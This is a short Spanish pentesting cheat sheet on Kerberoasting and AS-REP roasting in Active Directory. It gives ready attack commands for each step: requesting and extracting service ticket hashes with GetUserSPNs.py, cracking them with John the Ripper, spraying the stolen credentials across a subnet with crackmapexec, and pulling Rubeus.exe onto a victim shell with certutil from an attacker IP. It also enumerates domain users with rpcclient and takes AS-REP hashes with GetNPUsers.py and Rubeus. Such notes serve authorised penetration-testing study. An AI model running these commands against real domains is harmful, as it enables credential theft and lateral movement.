Kerberoasting & ASREP Roast
Kerberoasting
Este ataque trata de que a partir de un usuario sin privilegios, obtener las contraseñas vinculadas a una cuenta del Directorio Activo.
Con GetUserSPNs.py
Para ello él usuario en particular tiene que ser vulnerable a este ataque, para comprobarlo debemos hacer lo siguiente:
GetUserSPNs.py dc.local/allimos:Password
Si no es vulnerable aparecerá el siguiente mensaje -> No entries found!
Pero si lo es, debería aparecer algo como esto:
GetUserSPNs.py dc.local/j4ckie:Password

Si es valida, podemos utilizar el parámetro -request y pedir un TGTs y sacar un hash.
GetUserSPNs.py dc.local/j4ckie:Password1 -request

Este hash se puede crackear de forma offline con johntheripper, guardamos este hash en un archivo llamado hash y ejecutamos el siguiente comando:
john --wordlist=/usr/share/wordlists/rockyou.txt

Ahora si ejecutamos con crackmapexec a todos los equipos del sistema con esa credencial, debería aparecer Pwn3d!
crackmapexec smb <IP/24> -u 'SQL_SQLservice' -p 'Password1'
Con Rubeus.exe
Nos descargamos Rubeus.exe , lo subimos a la shell sin privilegios.
Ej: certutil -f -urlcache -split
http://192.168.218.128:8080/Rubeus.exe
Rubeus.exe
Una vez en el sistema victima ejecutamos el siguiente comando:
Rubeus.exe kerberoast /creduser:dc.local\allimos /credpassword:Password1
Nos debería aparecer lo mismo que arriba, el hash de svc_sqlservice
ASREPRoast Attack
Este ataque que explota la falta de que el usuario en cuestión tenga o no la pre autenticación de Kerberos, si cierto usuario no tiene esta pre autenticación entonces es vulnerable a ASREPRoast.
Para el que lo quiera saber, esta opción se ve reflejada en el usuario por parte del Dominio en Usuario > Propiedades > Cuenta

Pero si queremos saberlo de manera externa, que es obvio que no tendremos acceso a esa información, lo haremos mediante la herramienta GetNPUsers.py.
Con GetNPUsers.py
Antes de eso necesitamos un listado de usuarios a los cuales probar si son vulnerables, esta información la sacaremos con rpcclient:
rpcclient -U "dc.local\allimos%Password1" 192.168.218.142 -c 'enumdomusers' | grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' > users
Este resultado lo metemos en un archivo llamado users.

De acuerdo, una vez obtenido entonces empezamos comprobando si alguno de estos usuarios es vulnerable.
GetNPUsers.py dc.local/ -no-pass -usersfile users
Lo más normal es que aparezca el error -> UF_DONT_REQUIRE_PREAUTH
Pero si no fuera así y lo fuera debería aparecer el AS-REP hash del usuario en cuestión:

Con Rubeus.exe
Nos descargamos Rubeus.exe , lo subimos a la shell sin privilegios.
Entonces ejecutamos el siguiente comando para comprobarlo:
Rubeus.exe asreproast /user:SVC_SQLservice /domain:dc.local /dc:DC-Company
Y si uno de los usuarios es vulnerable debería aparecer el AS-REP hash:

Last updated